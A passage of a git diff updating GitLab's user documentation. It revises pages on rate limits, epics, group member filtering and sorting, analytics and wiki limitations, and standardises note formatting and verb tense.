ban GitLab.com responds with HTTP status code `403` for 1 hour, if 30 failed @@ -586,13 +585,14 @@ This limit: No response headers are provided. -### Admin Area settings +### Pagination response headers -GitLab.com: +For performance reasons, if a query returns more than 10,000 records, GitLab +doesn't return the following headers: -- Has [rate limits on raw endpoints](../../user/admin_area/settings/rate_limits_on_raw_endpoints.md) - set to the default. -- Does not have the user and IP rate limits settings enabled. +- `x-total`. +- `x-total-pages`. +- `rel="last"` `link`. ### Visibility settings @@ -612,6 +612,13 @@ dropped and users get To help avoid abuse, project and group imports, exports, and export downloads are rate limited. See [Project import/export rate limits](../../user/project/settings/import_export.md#rate-limits) and [Group import/export rate limits](../../user/group/settings/import_export.md#rate-limits) for details. +GitLab.com Import/Export Rate Limits are set to the default except: + +| Setting | GitLab.com | Default | +|:-------------------------------------------------|:-----------|:--------| +| Max Project Export requests per minute per user | 1 | 6 | +| Max Group Export requests per minute per user | 1 | 6 | + ### Non-configurable limits See [non-configurable limits](../../security/rate_limits.md#non-configurable-limits) for information on diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md index ec1e81bac2d..8db9c7fd76c 100644 --- a/doc/user/group/bulk_editing/index.md +++ b/doc/user/group/bulk_editing/index.md @@ -1,19 +1,19 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Bulk editing issues, epics, and merge requests at the group level **(PREMIUM)** -NOTE: **Note:** +NOTE: Bulk editing issues and merge requests is also available at the **project level**. For more details, see [Bulk editing issues and merge requests at the project level](../../project/bulk_editing.md). If you want to update attributes across multiple issues, epics, or merge requests in a group, you can do it by bulk editing them, that is, editing them together. -NOTE: **Note:** +NOTE: Only the items visible on the current page are selected for bulk editing (up to 20).  @@ -22,7 +22,7 @@ Only the items visible on the current page are selected for bulk editing (up to > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7249) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.1. -NOTE: **Note:** +NOTE: You need a permission level of [Reporter or higher](../../permissions.md) to manage issues. When bulk editing issues in a group, you can edit the following attributes: @@ -46,7 +46,7 @@ To update multiple project issues at the same time: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7250) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2. -NOTE: **Note:** +NOTE: You need a permission level of [Reporter or higher](../../permissions.md) to manage epics. When bulk editing epics in a group, you can edit their labels. @@ -63,7 +63,7 @@ To update multiple epics at the same time: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12719) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2. -NOTE: **Note:** +NOTE: You need a permission level of [Developer or higher](../../permissions.md) to manage merge requests. When bulk editing merge requests in a group, you can edit the following attributes: diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md index 1a62d67e468..ea7629d1f10 100644 --- a/doc/user/group/clusters/index.md +++ b/doc/user/group/clusters/index.md @@ -2,7 +2,7 @@ type: reference stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group-level Kubernetes clusters @@ -58,11 +58,11 @@ differentiate the new cluster from your other clusters. > - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11. You can choose to allow GitLab to manage your cluster for you. If GitLab manages -your cluster, resources for your projects will be automatically created. See the +your cluster, resources for your projects are automatically created. See the [Access controls](../../project/clusters/add_remove_clusters.md#access-controls) section for details on which resources GitLab creates for you. -For clusters not managed by GitLab, project-specific resources won't be created +For clusters not managed by GitLab, project-specific resources aren't created automatically. If you're using [Auto DevOps](../../../topics/autodevops/index.md) for deployments with a cluster not managed by GitLab, you must ensure: @@ -97,7 +97,7 @@ To clear the cache: Domains at the cluster level permit support for multiple domains per [multiple Kubernetes clusters](#multiple-kubernetes-clusters) When specifying a domain, -this will be automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during +this is automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during the [Auto DevOps](../../../topics/autodevops/index.md) stages. The domain should have a wildcard DNS configured to the Ingress IP address. diff --git a/doc/user/group/contribution_analytics/index.md b/doc/user/group/contribution_analytics/index.md index cf55a1f688b..0dbd7af1214 100644 --- a/doc/user/group/contribution_analytics/index.md +++ b/doc/user/group/contribution_analytics/index.md @@ -1,8 +1,8 @@ --- type: reference stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Contribution Analytics **(STARTER)** diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md index bbff82811bf..a59b1f2e9b2 100644 --- a/doc/user/group/custom_project_templates.md +++ b/doc/user/group/custom_project_templates.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Custom group-level project templates **(PREMIUM)** @@ -20,7 +20,7 @@ To use a custom project template for a new project you need to: 1. Edit your group's settings to look to your 'templates' subgroup for templates: 1. In the left-hand menu, click **{settings}** **Settings > General**. - NOTE: **Note:** + NOTE: If you don't have access to the group's settings, you may not have sufficient privileges (for example, you may need developer or higher permissions). 1. Scroll to **Custom project templates** and click **Expand**. If no **Custom project templates** section displays, make sure you've created a subgroup, and added a project (repository) to it. @@ -56,7 +56,7 @@ gitlab.com/acmeco/ Users can configure a GitLab group that serves as template source under a group's **Settings > General > Custom project templates**. -NOTE: **Note:** +NOTE: GitLab administrators can [set project templates for an entire GitLab instance](../admin_area/custom_project_templates.md). @@ -66,11 +66,11 @@ available to every signed-in user, if all enabled [project features](../project/ However, private projects will be available only if the user is a member of the project. -NOTE: **Note:** +NOTE: Only direct subgroups can be set as the template source. Projects of nested subgroups of a selected template source cannot be used. Repository and database information that are copied over to each new project are -identical to the data exported with [GitLab's Project Import/Export](../project/settings/import_export.md). +identical to the data exported with the [GitLab Project Import/Export](../project/settings/import_export.md). <!-- ## Troubleshooting diff --git a/doc/user/group/dependency_proxy/index.md b/doc/user/group/dependency_proxy/index.md index f735ec0214f..c4feed24132 100644 --- a/doc/user/group/dependency_proxy/index.md +++ b/doc/user/group/dependency_proxy/index.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/dependency_proxy/index.md' --- This document was moved to [another location](../../packages/dependency_proxy/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/group/epics/img/new_epic_form_v13.2.png b/doc/user/group/epics/img/new_epic_form_v13.2.png Binary files differdeleted file mode 100644 index ac1450ae111..00000000000 --- a/doc/user/group/epics/img/new_epic_form_v13.2.png +++ /dev/null diff --git a/doc/user/group/epics/img/new_epic_from_groups_v13.2.png b/doc/user/group/epics/img/new_epic_from_groups_v13.2.png Binary files differdeleted file mode 100644 index bb75605af60..00000000000 --- a/doc/user/group/epics/img/new_epic_from_groups_v13.2.png +++ /dev/null diff --git a/doc/user/group/epics/img/new_epic_from_groups_v13.7.png b/doc/user/group/epics/img/new_epic_from_groups_v13.7.png Binary files differnew file mode 100644 index 00000000000..3607d5c7a3f --- /dev/null +++ b/doc/user/group/epics/img/new_epic_from_groups_v13.7.png diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md index e98c4b416fe..c76b07481b2 100644 --- a/doc/user/group/epics/index.md +++ b/doc/user/group/epics/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Plan group: Product Planning -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Epics **(PREMIUM)** @@ -10,20 +10,24 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.2. > - Single-level Epics [were moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) to [GitLab Premium](https://about.gitlab.com/pricing/) in 12.8. -Epics let you manage your portfolio of projects more efficiently by tracking groups of issues that -share a theme across projects and milestones. +Epics let you manage your portfolio of projects more efficiently by tracking groups of [issues](../../project/issues/index.md) +that share a theme across projects and milestones. An epic's page contains the following tabs: -- **Epics and Issues**: epics and issues added to this epic. Child epics, and their issues, are - shown in a tree view. - - Click the chevron (**>**) next to a parent epic to reveal the child epics and issues. - - Hover over the total counts to see a breakdown of open and closed items. +- **Issues**: issues added to this epic. +- **Epics and Issues**: epics and issues added to this epic. + Appears instead of the **Issues** tab if you have access to [multi-level epics](#multi-level-child-epics). + Child epics and their issues are shown in a tree view. - NOTE: **Note:** - The number provided here includes all epics associated with this project. The number includes epics for which users may not yet have permission. + - To reveal the child epics and issues, select the chevron (**>**) next to a parent epic. + - To see a breakdown of open and closed items, hover over the total counts. -- **Roadmap**: a roadmap view of child epics which have start and due dates. + The number provided here includes all epics associated with this project. The number includes + epics for which users may not yet have permission. + +- [**Roadmap**](#roadmap-in-epics): a roadmap view of child epics which have start and due dates. + Appears if you have access to [multi-level epics](#multi-level-child-epics).  @@ -75,14 +79,10 @@ to: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/199184) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. > - The health status of a closed issue [is hidden](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3 or later. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7. Report or respond to the health of issues and epics by setting a red, amber, or green [health status](../../project/issues/index.md#health-status), which then appears on your Epic tree. -### Disable Issue health status in Epic tree - -This feature comes with a feature flag enabled by default. For steps to disable it, see -[Disable issue health status](../../project/issues/index.md#disable-issue-health-status). - ## Multi-level child epics **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8333) in GitLab Ultimate 11.7. @@ -92,7 +92,7 @@ New child epics appear at the top of the list of epics in the **Epics and Issues When you add an epic that's already linked to a parent epic, the link to its current parent is removed. -An epic can have multiple child epics up to the maximum depth of five. +An epic can have multiple child epics up to the maximum depth of seven. See [Manage multi-level child epics](manage_epics.md#manage-multi-level-child-epics) for steps to create, move, reorder, or delete child epics. @@ -101,35 +101,18 @@ steps to create, move, reorder, or delete child epics. To set a **Start date** and **Due date** for an epic, select one of the following: -- **Fixed**: Enter a fixed value. -- **From milestones**: Inherit a dynamic value from the milestones that are assigned to the epic's issues. - Note that GitLab 12.5 replaced this option with **Inherited**. -- **Inherited**: Inherit a dynamic value from the epic's issues, child epics, and milestones ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7332) in GitLab 12.5 to replace **From milestones**). - -### From milestones - -> [Replaced](https://gitlab.com/gitlab-org/gitlab/-/issues/7332) in GitLab 12.5 by **Inherited**. - -If you select **From milestones** for the start date, GitLab automatically sets the date to be earliest -start date across all milestones that are assigned to the issues that belong to the epic. -If you select **From milestones** for the due date, GitLab sets the date to be the latest due date across -all milestones that are assigned to those issues. - -These are dynamic dates which are recalculated if any of the following occur: - -- Milestones are re-assigned to the issues. -- Milestone dates change. -- Issues are added or removed from the epic. +- **Fixed**: enter a fixed value. +- **Inherited**: inherit a dynamic value from the epic's issues, child epics, and milestones. ### Inherited > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7332) in GitLab 12.5 to replace **From milestones**. -If you select: +If you select **Inherited**: -- **Inherited** for the start date, GitLab will scan all child epics and issues assigned to the epic, - and will set the start date to match the earliest found start date or milestone. -- **Inherited** for the due date, GitLab will set the due date to match the latest due date or +- For the **start date**: GitLab scans all child epics and issues assigned to the epic, + and sets the start date to match the earliest found start date or milestone. +- For the **due date**: GitLab sets the due date to match the latest due date or milestone found among its child epics and issues. These are dynamic dates and recalculated if any of the following occur: @@ -143,7 +126,7 @@ Because the epic's dates can inherit dates from its children, the start date and If the start date of a child epic on the lowest level changes, that becomes the earliest possible start date for its parent epic. The parent epic's start date then reflects this change and propagates upwards to the top epic. -## Roadmap in epics +## Roadmap in epics **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7327) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.10. diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md index 5895b611bb3..9cc7a35bc32 100644 --- a/doc/user/group/epics/manage_epics.md +++ b/doc/user/group/epics/manage_epics.md @@ -2,7 +2,7 @@ type: howto stage: Plan group: Product Planning -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- <!-- When adding a new h2 section here, remember to mention it in index.md#manage-epics --> @@ -14,42 +14,28 @@ to them. ## Create an epic -A paginated list of epics is available in each group from where you can create -a new epic. The list of epics includes also epics from all subgroups of the -selected group. From your group page: +> - The New Epic form [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211533) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. +> - In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/229621) and later, the New Epic button on the Epics list opens the New Epic form. -### Create an epic from the epic list +To create an epic in the group you're in: -To create an epic from the epic list, in a group: +1. Get to the New Epic form: + - From the **Epics** list in your group, select the **New Epic** button. + - From an epic in your group, select the **New Epic** button. + - From anywhere, in the top menu, select **New...** (**{plus-square}**) **> New epic**. -1. Go to **{epic}** **Epics**. -1. Select **New epic**. -1. Enter a descriptive title. -1. Select **Create epic**. +  -### Access the New Epic form +1. Fill in these fields: -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211533) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. + - Title + - Description + - [Confidentiality checkbox](#make-an-epic-confidential) + - Labels + - Start date + - Due date -There are two ways to get to the New Epic form and create an epic in the group you're in: - -- From an epic in your group, select **New Epic**. -- From anywhere, in the top menu, select **plus** (**{plus-square}**) **> New epic**. - -  - -### Elements of the New Epic form - -When you're creating a new epic, these are the fields you can fill in: - -- Title -- Description -- Confidentiality checkbox -- Labels -- Start date -- Due date - - +1. Select **Create epic**. You are taken to view the newly created epic. ## Edit an epic @@ -79,7 +65,7 @@ You can edit multiple epics at once. To learn how to do it, visit ## Delete an epic -NOTE: **Note:** +NOTE: To delete an epic, you need to be an [Owner](../../permissions.md#group-members-permissions) of a group/subgroup. When editing the description of an epic, select the **Delete** button to delete the epic. @@ -130,7 +116,7 @@ that of Issues and Merge Requests) based on following parameters:  To search, go to the list of epics and select the field **Search or filter results**. -It will display a dropdown menu, from which you can add an author. You can also enter plain +It displays a dropdown menu, from which you can add an author. You can also enter plain text to search by epic title or description. When done, press <kbd>Enter</kbd> on your keyboard to filter the list. @@ -155,7 +141,7 @@ The sort option and order is saved and used wherever you browse epics, including If you're working on items that contain private information, you can make an epic confidential. -NOTE: **Note:** +NOTE: A confidential epic can only contain confidential issues and confidential child epics. To make an epic confidential: @@ -211,7 +197,7 @@ To create an issue from an epic: ### Remove an issue from an epic You can remove issues from an epic when you're on the epic's details page. -After you remove an issue from an epic, the issue will no longer be associated with this epic. +After you remove an issue from an epic, the issue is no longer associated with this epic. To remove an issue from an epic: @@ -253,8 +239,8 @@ To move an issue to another epic: If you have the necessary [permissions](../../permissions.md) to close an issue and create an epic in the immediate parent group, you can promote an issue to an epic with the `/promote` [quick action](../../project/quick_actions.md#quick-actions-for-issues-merge-requests-and-epics). -Only issues from projects that are in groups can be promoted. When attempting to promote a confidential -issue, a warning will display. Promoting a confidential issue to an epic will make all information +Only issues from projects that are in groups can be promoted. When you attempt to promote a confidential +issue, a warning is displayed. Promoting a confidential issue to an epic makes all information related to the issue public as epics are public to group members. When the quick action is executed: @@ -262,7 +248,7 @@ When the quick action is executed: - An epic is created in the same group as the project of the issue. - Subscribers of the issue are notified that the epic was created. -The following issue metadata will be copied to the epic: +The following issue metadata is copied to the epic: - Title, description, activity/comment thread. - Upvotes/downvotes. @@ -277,7 +263,7 @@ You can create a spreadsheet template to manage a pattern of consistently repeat <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an introduction to epic templates, see [GitLab Epics and Epic Template Tip](https://www.youtube.com/watch?v=D74xKFNw8vg). -For more on epic templates, see [Epic Templates - Repeatable sets of issues](https://about.gitlab.com/handbook/marketing/product-marketing/getting-started/104/). +For more on epic templates, see [Epic Templates - Repeatable sets of issues](https://about.gitlab.com/handbook/marketing/strategic-marketing/getting-started/104/). ## Manage multi-level child epics **(ULTIMATE)** diff --git a/doc/user/group/img/add_new_members_v13_6.png b/doc/user/group/img/add_new_members_v13_6.png Binary files differdeleted file mode 100644 index 4255eeb72c7..00000000000 --- a/doc/user/group/img/add_new_members_v13_6.png +++ /dev/null diff --git a/doc/user/group/img/add_new_members_v13_7.png b/doc/user/group/img/add_new_members_v13_7.png Binary files differnew file mode 100644 index 00000000000..7e06bdf8fd1 --- /dev/null +++ b/doc/user/group/img/add_new_members_v13_7.png diff --git a/doc/user/group/img/group_code_coverage_analytics_v13_7.png b/doc/user/group/img/group_code_coverage_analytics_v13_7.png Binary files differnew file mode 100644 index 00000000000..769953b1355 --- /dev/null +++ b/doc/user/group/img/group_code_coverage_analytics_v13_7.png diff --git a/doc/user/group/img/group_members_filter_2fa_disabled_13_7.png b/doc/user/group/img/group_members_filter_2fa_disabled_13_7.png Binary files differnew file mode 100644 index 00000000000..8336103bad1 --- /dev/null +++ b/doc/user/group/img/group_members_filter_2fa_disabled_13_7.png diff --git a/doc/user/group/img/group_members_filter_2fa_enabled_13_7.png b/doc/user/group/img/group_members_filter_2fa_enabled_13_7.png Binary files differnew file mode 100644 index 00000000000..eb27906b583 --- /dev/null +++ b/doc/user/group/img/group_members_filter_2fa_enabled_13_7.png diff --git a/doc/user/group/img/group_members_filter_direct_13_7.png b/doc/user/group/img/group_members_filter_direct_13_7.png Binary files differnew file mode 100644 index 00000000000..c1b2d996e59 --- /dev/null +++ b/doc/user/group/img/group_members_filter_direct_13_7.png diff --git a/doc/user/group/img/group_members_filter_inherited_13_7.png b/doc/user/group/img/group_members_filter_inherited_13_7.png Binary files differnew file mode 100644 index 00000000000..f75990f9da8 --- /dev/null +++ b/doc/user/group/img/group_members_filter_inherited_13_7.png diff --git a/doc/user/group/img/group_members_search_13_7.png b/doc/user/group/img/group_members_search_13_7.png Binary files differnew file mode 100644 index 00000000000..21f36fc75f8 --- /dev/null +++ b/doc/user/group/img/group_members_search_13_7.png diff --git a/doc/user/group/img/group_members_sort_13_7.png b/doc/user/group/img/group_members_sort_13_7.png Binary files differnew file mode 100644 index 00000000000..5d307da649a --- /dev/null +++ b/doc/user/group/img/group_members_sort_13_7.png diff --git a/doc/user/group/img/group_storage_usage_quota.png b/doc/user/group/img/group_storage_usage_quota.png Binary files differdeleted file mode 100644 index c5d81ad7a8b..00000000000 --- a/doc/user/group/img/group_storage_usage_quota.png +++ /dev/null diff --git a/doc/user/group/img/manual_permissions_v13_6.png b/doc/user/group/img/manual_permissions_v13_6.png Binary files differdeleted file mode 100644 index 6d26061b049..00000000000 --- a/doc/user/group/img/manual_permissions_v13_6.png +++ /dev/null diff --git a/doc/user/group/img/manual_permissions_v13_7.png b/doc/user/group/img/manual_permissions_v13_7.png Binary files differnew file mode 100644 index 00000000000..fcea0121915 --- /dev/null +++ b/doc/user/group/img/manual_permissions_v13_7.png diff --git a/doc/user/group/index.md b/doc/user/group/index.md index e09c685147a..a0884461da1 100644 --- a/doc/user/group/index.md +++ b/doc/user/group/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Groups @@ -130,7 +130,7 @@ give a user access to all projects in the group with one action. Add members to a group by navigating to the group's dashboard and clicking **Members**. - + Select the [permission level](../permissions.md#permissions), and add the new member. You can also set the expiring date for that user; this is the date on which they will no longer have access to your group. @@ -211,6 +211,88 @@ To remove a member from a group: 1. (Optional) Select the **Also unassign this user from related issues and merge requests** checkbox. 1. Click **Remove member**. +## Filter and sort members in a group + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21727) in GitLab 12.6. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/228675) in GitLab 13.7. +> - Improvements are [deployed behind a feature flag](../feature_flags.md), enabled by default. +> - Improvements are enabled on GitLab.com. +> - Improvements are recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable improvements](#enable-or-disable-improvements-to-the-ability-to-filter-and-sort-group-members). **(CORE ONLY)** + +The following sections illustrate how you can filter and sort members in a group. To view these options, +navigate to your desired group, go to **Members**, and include the noted search terms. + +### Membership filter + +By default, inherited and direct members are displayed. The [membership](subgroups/index.md#membership) filter can be used to display only inherited or only direct members. + +#### Only display inherited members + +Include `Membership` `=` `Inherited` in the search text box. + + + +#### Only display direct members + +Include `Membership` `=` `Direct` in the search text box. + + + +### 2FA filter + +[Owner](../permissions.md#group-members-permissions) permissions required. + +By default, members with 2FA enabled and disabled are displayed. The 2FA filter can be used to display only members with 2FA enabled or only members with 2FA disabled. + +#### Only display members with 2FA enabled + +Include `2FA` `=` `Enabled` in the search text box. + + + +#### Only display members with 2FA disabled + +Include `2FA` `=` `Disabled` in the search text box. + + + +### Search + +You can search for members by name, username, or email. + + + +### Sort + +You can sort members by **Account**, **Access granted**, **Max role**, or **Last sign-in** in ascending or descending order. + + + +### Enable or disable improvements to the ability to filter and sort group members **(CORE ONLY)** + +Group member filtering and sorting improvements are deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable the improvements. + +To disable them: + +```ruby +# For the instance +Feature.disable(:group_members_filtered_search) +# For a single group +Feature.disable(:group_members_filtered_search, Group.find(<group id>)) +``` + +To enable them: + +```ruby +# For the instance +Feature.enable(:group_members_filtered_search) +# For a single group +Feature.enable(:group_members_filtered_search, Group.find(<group id>)) +``` + ## Changing the default branch protection of a group > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7583) in GitLab 12.9. @@ -226,7 +308,7 @@ To change this setting for a specific group: To change this setting globally, see [Default branch protection](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection). -NOTE: **Note:** +NOTE: In [GitLab Premium or higher](https://about.gitlab.com/pricing/), GitLab administrators can choose to [disable group owners from updating the default branch protection](../admin_area/settings/visibility_and_access_controls.md#disable-group-owners-from-updating-default-branch-protection). ## Add projects to a group @@ -342,7 +424,7 @@ Group links can be created using either a CN or a filter. These group links are For more information on the administration of LDAP and group sync, refer to the [main LDAP documentation](../../administration/auth/ldap/index.md#group-sync). -NOTE: **Note:** +NOTE: If an LDAP user is a group member when LDAP Synchronization is added, and they are not part of the LDAP group, they will be removed from the group. ### Creating group links via CN **(STARTER ONLY)** @@ -377,7 +459,7 @@ In GitLab [8.15](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/822) and 1. Select the pencil icon in the row for the user you are editing. 1. Select the brown `Edit permissions` button in the modal. - + Now you will be able to edit the user's permissions from the **Members** page. @@ -404,7 +486,7 @@ and above. There are a few limitations compared to project wikis: -- Local Git access is not supported yet. +- Git LFS is not supported. - Group wikis are not included in global search, group exports, backups, and Geo replication. - Changes to group wikis don't show up in the group's activity feed. - Group wikis [can't be moved](../../api/project_repository_storage_moves.md#limitations) using the project @@ -482,12 +564,12 @@ To change your group path (group URL): 1. Enter a new name under **Change group URL**. 1. Click **Change group URL**. -CAUTION: **Caution:** +WARNING: It is currently not possible to rename a namespace if it contains a project with [Container Registry](../packages/container_registry/index.md) tags, because the project cannot be moved. -TIP: **Tip:** +NOTE: If you want to retain ownership over the original namespace and protect the URL redirects, then instead of changing a group's path or renaming a username, you can create a new group and transfer projects to it. @@ -716,7 +798,7 @@ To enable delayed deletion of projects: 1. Expand the **Permissions, LFS, 2FA** section, and check **Enable delayed project removal**. 1. Click **Save changes**. -NOTE: **Note:** +NOTE: The group setting for delayed deletion is not inherited by sub-groups and has to be individually defined for each group. #### Prevent project forking outside group **(PREMIUM)** @@ -747,20 +829,6 @@ To enable prevent project forking: - **Pipelines quota**: Keep track of the [pipeline quota](../admin_area/settings/continuous_integration.md) for the group. - **Integrations**: Configure [integrations](../admin_area/settings/project_integration_management.md) for your group. -#### Storage usage quota **(STARTER)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0. - -A group owner can check the aggregated storage usage for all the projects in a group, sub-groups included, in the **Storage** tab of the **Usage Quotas** page available to the group page settings list. - - - -The total usage of the storage is updated if any relevant event that -will affect its value is triggered (e.g., a commit push). -For performance reasons, we may delay the update up to 1 hour and 30 minutes. - -If your namespace shows `N/A` as the total storage usage, you can trigger a recalculation by pushing a commit to any project in that namespace. - #### Group push rules **(STARTER)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34370) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8. @@ -794,10 +862,21 @@ With [GitLab Issue Analytics](issues_analytics/index.md), you can see a bar char ## Repositories analytics **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263478) in GitLab 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/276003) in GitLab 13.7. With [GitLab Repositories Analytics](repositories_analytics/index.md), you can download a CSV of the latest coverage data for all the projects in your group. +### Check code coverage for all projects + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263478) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. + +See the overall activity of all projects with code coverage with [GitLab Repositories Analytics](repositories_analytics/index.md). + +It displays the current code coverage data available for your projects: + + + ## Dependency Proxy Use GitLab as a [dependency proxy](../packages/dependency_proxy/index.md) for upstream Docker images. diff --git a/doc/user/group/insights/index.md b/doc/user/group/insights/index.md index 50dfb0e5ccd..b559e6806e9 100644 --- a/doc/user/group/insights/index.md +++ b/doc/user/group/insights/index.md @@ -1,8 +1,8 @@ --- type: reference, howto stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Insights **(ULTIMATE)** @@ -40,7 +40,7 @@ more details about the `.gitlab/insights.yml` configuration file. If you have access to view a group, then you have access to view their Insights. -NOTE: **Note:** +NOTE: Issues or merge requests that you don't have access to (because you don't have access to the project they belong to, or because they are confidential) are filtered out of the Insights charts. diff --git a/doc/user/group/issues_analytics/index.md b/doc/user/group/issues_analytics/index.md index dea1eaba819..269be19f759 100644 --- a/doc/user/group/issues_analytics/index.md +++ b/doc/user/group/issues_analytics/index.md @@ -1,20 +1,19 @@ --- type: reference stage: Manage -group: Value Stream Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issue Analytics **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7478) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.5. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196561) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9 at the project level. Issue Analytics is a bar graph which illustrates the number of issues created each month. The default timespan is 13 months, which includes the current month, and the 12 months prior. -To access the chart, navigate to your group or project sidebar and select **{chart}** **Analytics > Issue Analytics**. +To access the chart, navigate to your group sidebar and select **{chart}** **Analytics > Issue Analytics**. Hover over each bar to see the total number of issues. diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md index 90050e217ee..a06c7a8f325 100644 --- a/doc/user/group/iterations/index.md +++ b/doc/user/group/iterations/index.md @@ -2,7 +2,7 @@ type: reference stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Iterations **(STARTER)** @@ -38,7 +38,7 @@ From there you can create a new iteration or click an iteration to get a more de ## Create an iteration -NOTE: **Note:** +NOTE: You need Developer 